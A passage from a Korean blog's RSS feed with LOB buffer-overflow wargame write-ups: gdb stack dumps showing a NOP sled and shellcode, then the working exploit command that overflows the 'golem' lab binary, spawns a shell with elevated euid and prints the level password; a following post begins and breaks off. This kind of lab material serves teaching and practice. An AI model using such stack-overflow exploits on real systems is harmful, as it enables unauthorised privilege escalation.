&lt;div&gt;0xbffff234: &amp;nbsp; &amp;nbsp; 0x400707e4 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000001&lt;/div&gt;
&lt;div&gt;(gdb)&lt;/div&gt;
&lt;div&gt;0xbffff23c: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000031 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40000664 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffff24c: &amp;nbsp; &amp;nbsp; 0x40000824 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x400002f4 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40013c00 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000004&lt;/div&gt;
&lt;div&gt;0xbffff25c: &amp;nbsp; &amp;nbsp; 0x40014a98 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000004 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffff27c &amp;nbsp; &amp;nbsp; &amp;nbsp;0x4001e4f0&lt;/div&gt;
&lt;div&gt;0xbffff26c: &amp;nbsp; &amp;nbsp; 0x40014a34 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00dc28f5 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffff2f8 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40025713&lt;/div&gt;
&lt;div&gt;0xbffff27c: &amp;nbsp; &amp;nbsp; 0x4001e4f0 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40014828 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40108980 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40017000&lt;/div&gt;
&lt;div&gt;0xbffff28c: &amp;nbsp; &amp;nbsp; 0x00000031 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x4010a1ec &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40108980 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffff2b8&lt;/div&gt;
&lt;div&gt;0xbffff29c: &amp;nbsp; &amp;nbsp; 0x4006fa3e &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40108980 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40017000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000031&lt;/div&gt;
&lt;div&gt;0xbffff2ac: &amp;nbsp; &amp;nbsp; 0x4010a1ec &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000001 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40108980 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffff2cc&lt;/div&gt;
&lt;div&gt;0xbffff2bc: &amp;nbsp; &amp;nbsp; 0x400711c7 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40108980 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffff2fc &amp;nbsp; &amp;nbsp; &amp;nbsp;0x4000a7fd&lt;/div&gt;
&lt;div&gt;0xbffff2cc: &amp;nbsp; &amp;nbsp; 0x40014818 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40014b50 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000007 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x4000a74e&lt;/div&gt;
&lt;div&gt;0xbffff2dc: &amp;nbsp; &amp;nbsp; 0x4010a1ec &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0804859c &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000001 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40014828&lt;/div&gt;
&lt;div&gt;0xbffff2ec: &amp;nbsp; &amp;nbsp; 0x4001e4f0 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x4010a320 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40025713 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x4001e4f0&lt;/div&gt;
&lt;div&gt;0xbffff2fc: &amp;nbsp; &amp;nbsp; 0xbffff9b4 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x4000a970&lt;/div&gt;
&lt;div&gt;(gdb)&lt;/div&gt;
&lt;div&gt;0xbffff304: &amp;nbsp; &amp;nbsp; 0x40108980 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000400 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x4006c2e4 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40014828&lt;/div&gt;
&lt;div&gt;0xbffff314: &amp;nbsp; &amp;nbsp; 0xbffff9b4 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x4006428b &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40108980 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x4010a1ec&lt;/div&gt;
&lt;div&gt;0xbffff324: &amp;nbsp; &amp;nbsp; 0x4000ae60 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffffa54 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffff334: &amp;nbsp; &amp;nbsp; 0x00002fb2 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00001000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000018 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x4e5920c4&lt;/div&gt;
&lt;div&gt;0xbffff344: &amp;nbsp; &amp;nbsp; 0x0000385c &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40014828 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000018 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000ed9c0&lt;/div&gt;
&lt;div&gt;0xbffff354: &amp;nbsp; &amp;nbsp; 0x00000002 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbfffe284 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbfffe254 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbfffe2cc&lt;/div&gt;
&lt;div&gt;0xbffff364: &amp;nbsp; &amp;nbsp; 0x00001000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbfffe2cc &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000003 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000f485c&lt;/div&gt;
&lt;div&gt;0xbffff374: &amp;nbsp; &amp;nbsp; 0xbfffe3a0 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbfffe300 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40013ed0 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000808&lt;/div&gt;
&lt;div&gt;0xbffff384: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0000675b &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000081a4&lt;/div&gt;
&lt;div&gt;0xbffff394: &amp;nbsp; &amp;nbsp; 0x0804859c &amp;nbsp; &amp;nbsp; &amp;nbsp;0x25000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000001&lt;/div&gt;
&lt;div&gt;0xbffff3a4: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000053 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00008561 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000081ed&lt;/div&gt;
&lt;div&gt;0xbffff3b4: &amp;nbsp; &amp;nbsp; 0x00000001 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40001402 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffff490&lt;/div&gt;
&lt;div&gt;0xbffff3c4: &amp;nbsp; &amp;nbsp; 0x400081e6 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x400013e1&lt;/div&gt;
&lt;div&gt;(gdb)&lt;/div&gt;
&lt;div&gt;0xbffff3cc: &amp;nbsp; &amp;nbsp; 0x400013e1 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40013868 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x400013a5 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40000824&lt;/div&gt;
&lt;div&gt;0xbffff3dc: &amp;nbsp; &amp;nbsp; 0x400013d3 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40013c00 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40014a88 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0000000e&lt;/div&gt;
&lt;div&gt;0xbffff3ec: &amp;nbsp; &amp;nbsp; 0x40013e80 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x400013d3 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x400014c4 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffff3fc: &amp;nbsp; &amp;nbsp; 0x00000520 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x4002bad5 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x400013e1 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffff40c: &amp;nbsp; &amp;nbsp; 0xbffff494 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40000814 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000052 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40000824&lt;/div&gt;
&lt;div&gt;0xbffff41c: &amp;nbsp; &amp;nbsp; 0x400002f4 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40013c00 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000004 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40014a98&lt;/div&gt;
&lt;div&gt;0xbffff42c: &amp;nbsp; &amp;nbsp; 0x00000003 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffff448 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40000814 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x400140d4&lt;/div&gt;
&lt;div&gt;0xbffff43c: &amp;nbsp; &amp;nbsp; 0x0b725f23 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffff524 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x400013a5 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40000814&lt;/div&gt;
&lt;div&gt;0xbffff44c: &amp;nbsp; &amp;nbsp; 0x40013c00 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x400002f4 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40013c00 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffff45c: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000004 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40014a98 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000004&lt;/div&gt;
&lt;div&gt;0xbffff46c: &amp;nbsp; &amp;nbsp; 0xbffff48c &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40000674 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x400140d8 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x01ee5739&lt;/div&gt;
&lt;div&gt;0xbffff47c: &amp;nbsp; &amp;nbsp; 0xbffff524 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40000edc &amp;nbsp; &amp;nbsp; &amp;nbsp;0x20733868 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xffffffff&lt;/div&gt;
&lt;div&gt;0xbffff48c: &amp;nbsp; &amp;nbsp; 0xffffffd0 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;(gdb)&lt;/div&gt;
&lt;div&gt;0xbffff494: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffff4a4: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffff9e0&lt;/div&gt;
&lt;div&gt;0xbffff4b4: &amp;nbsp; &amp;nbsp; 0x40009c50 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00005207 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x4001a0dc &amp;nbsp; &amp;nbsp; &amp;nbsp;0x4001a0dc&lt;/div&gt;
&lt;div&gt;0xbffff4c4: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000001 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffff9d8&lt;/div&gt;
&lt;div&gt;0xbffff4d4: &amp;nbsp; &amp;nbsp; 0xbffff9b3 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0804859b &amp;nbsp; &amp;nbsp; &amp;nbsp;0x08048599 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000031&lt;/div&gt;
&lt;div&gt;0xbffff4e4: &amp;nbsp; &amp;nbsp; 0xffffffff &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40013c00 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x4001a0d4 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40010c9e&lt;/div&gt;
&lt;div&gt;0xbffff4f4: &amp;nbsp; &amp;nbsp; 0x40000814 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x400138d4 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40001402 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x400002f4&lt;/div&gt;
&lt;div&gt;0xbffff504: &amp;nbsp; &amp;nbsp; 0x080482d0 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x080482d0 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffff554 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000002&lt;/div&gt;
&lt;div&gt;0xbffff514: &amp;nbsp; &amp;nbsp; 0x40023fd0 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40013c00 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x4000ba15 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40013868&lt;/div&gt;
&lt;div&gt;0xbffff524: &amp;nbsp; &amp;nbsp; 0x40000814 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x400041b0 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000001 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffff53c&lt;/div&gt;
&lt;div&gt;0xbffff534: &amp;nbsp; &amp;nbsp; 0x0804859c &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000002c8 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x080482d0&lt;/div&gt;
&lt;div&gt;0xbffff544: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffff55c&lt;/div&gt;
&lt;div&gt;0xbffff554: &amp;nbsp; &amp;nbsp; 0x400075bb &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40017000&lt;/div&gt;
&lt;div&gt;(gdb)&lt;/div&gt;
&lt;div&gt;0xbffff55c: &amp;nbsp; &amp;nbsp; 0x00002fb2 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40013868 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffff744 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x4000380e&lt;/div&gt;
&lt;div&gt;0xbffff56c: &amp;nbsp; &amp;nbsp; 0x40014480 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x6d6f682f &amp;nbsp; &amp;nbsp; &amp;nbsp;0x6b732f65 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x74656c65&lt;/div&gt;
&lt;div&gt;0xbffff57c: &amp;nbsp; &amp;nbsp; 0x782f6e6f &amp;nbsp; &amp;nbsp; &amp;nbsp;0x726e646f &amp;nbsp; &amp;nbsp; &amp;nbsp;0x9090902f &amp;nbsp; &amp;nbsp; &amp;nbsp;0x90909090&lt;/div&gt;
&lt;div&gt;0xbffff58c: &amp;nbsp; &amp;nbsp; 0x90909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x90909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x90909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x90909090&lt;/div&gt;
&lt;div&gt;0xbffff59c: &amp;nbsp; &amp;nbsp; 0x90909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x90909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x90909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x90909090&lt;/div&gt;
&lt;div&gt;0xbffff5ac: &amp;nbsp; &amp;nbsp; 0x90909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x90909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x90909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x90909090&lt;/div&gt;
&lt;div&gt;0xbffff5bc: &amp;nbsp; &amp;nbsp; 0x90909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x90909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x90909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x90909090&lt;/div&gt;
&lt;div&gt;0xbffff5cc: &amp;nbsp; &amp;nbsp; 0x90909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x90909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x90909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x90909090 // 여기 NOP 코드가 들어가있습니다.&lt;/div&gt;
&lt;div&gt;0xbffff5dc: &amp;nbsp; &amp;nbsp; 0x90909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x90909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x90909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x5e11eb90 // 이곳으로 리턴시켜보겠습니당!&lt;/div&gt;
&lt;div&gt;0xbffff5ec: &amp;nbsp; &amp;nbsp; 0x32b1c931 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xff0e6c80 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x01e98001 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x05ebf675&lt;/div&gt;
&lt;div&gt;0xbffff5fc: &amp;nbsp; &amp;nbsp; 0xffffeae8 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x51c132ff &amp;nbsp; &amp;nbsp; &amp;nbsp;0x74303069 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x63306969&lt;/div&gt;
&lt;div&gt;0xbffff60c: &amp;nbsp; &amp;nbsp; 0xe48a6f6a &amp;nbsp; &amp;nbsp; &amp;nbsp;0xe28a5451 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xce0cb19a &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40000081&lt;/div&gt;
&lt;div&gt;0xbffff61c: &amp;nbsp; &amp;nbsp; 0x40013868 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x4000220c&lt;/div&gt;
&lt;div&gt;(gdb)&lt;/div&gt;
&lt;div&gt;0xbffff624: &amp;nbsp; &amp;nbsp; 0xbffffb46 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 // 아마 이 부분부터 스택인가 봅니다.&lt;/div&gt;
&lt;div&gt;0xbffff634: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40014a00 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffff644: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000006 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffff654: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffff664: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffff674: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffff684: &amp;nbsp; &amp;nbsp; 0x00000001 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000001 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffff56c&lt;/div&gt;
&lt;div&gt;0xbffff694: &amp;nbsp; &amp;nbsp; 0x00060000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffff6a4: &amp;nbsp; &amp;nbsp; 0x00000001 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffff6b4: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffff6c4: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffff6d4: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffff6e4: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[skeleton@localhost xodnr]$ ./golem `python -c &#039;print &quot;\xbf&quot;*44 + &quot;\xcc\xf5\xff\xbf&quot;&#039;`&lt;/div&gt;
&lt;div&gt;¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿Ìõÿ¿&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
bash$ id&lt;/div&gt;
&lt;div&gt;uid=510(skeleton) gid=510(skeleton) groups=510(skeleton)&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
bash$ exit&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
쉘이 떴군요...... 욕이 나오면서 기쁩니다 ㅋㅋㅋ&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[skeleton@localhost xodnr]$ cd ..&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[skeleton@localhost skeleton]$ ./golem `python -c &#039;print &quot;\xbf&quot;*44 + &quot;\xa8\xf5\xff\xbf&quot;&#039;`&lt;/div&gt;
&lt;div&gt;¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¨õÿ¿&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
bash$ id&lt;/div&gt;
&lt;div&gt;uid=510(skeleton) gid=510(skeleton) euid=511(golem) egid=511(golem) groups=510(skeleton)&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
bash$ my-pass&lt;/div&gt;
&lt;div&gt;euid = 511&lt;/div&gt;
&lt;div&gt;cup of coffee&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
패스워드가 정상적으로 출력되었습니당!&lt;/div&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-564-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-564-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-564-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div class=&quot;blogger-news-widget&quot; style=&quot;width: 100%; text-align: center&quot;&gt;
		  					&lt;embed src=&quot;http://api.v.daum.net/static/recombox1.swf&quot; quality=&quot;high&quot; flashvars=&quot;nid=20206161&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;false&quot; bgcolor=&quot;#ffffff&quot; width=&quot;400&quot; height=&quot;80&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot;&gt;&lt;/embed&gt;
						&lt;/div&gt;</description>
			<category>　시스템 &amp; 웹</category>
			<author>XoDNr_ 깝태</author>
			<guid>http://iyounges.org/564</guid>
			<comments>http://iyounges.org/564#entry564comment</comments>
			<pubDate>Sun, 04 Sep 2011 23:43:55 +0900</pubDate>
		</item>
		<item>
			<title>[BOF-Wargames] LOB Load of BOF LEVEL10 (Vampire -&gt; Skeleton) 문제풀이</title>
			<link>http://iyounges.org/563</link>
			<description>&lt;div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
--------------------------------------------------------------------------------------------------------------------------&lt;/div&gt;
&lt;div&gt;Sur3x5f Report - LOB Level10 [ Vampire -&amp;gt; Skeleton ]&amp;nbsp;&lt;/div&gt;
&lt;div&gt;--------------------------------------------------------------------------------------------------------------------------&lt;/div&gt;
&lt;div&gt;[vampire@localhost vampire]$ ls&lt;/div&gt;
&lt;div&gt;skeleton &amp;nbsp;skeleton.c&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[vampire@localhost vampire]$ cat skeleton.c&lt;/div&gt;
&lt;div&gt;/*&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; The Lord of the BOF : The Fellowship of the BOF&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - skeleton&lt;/div&gt;
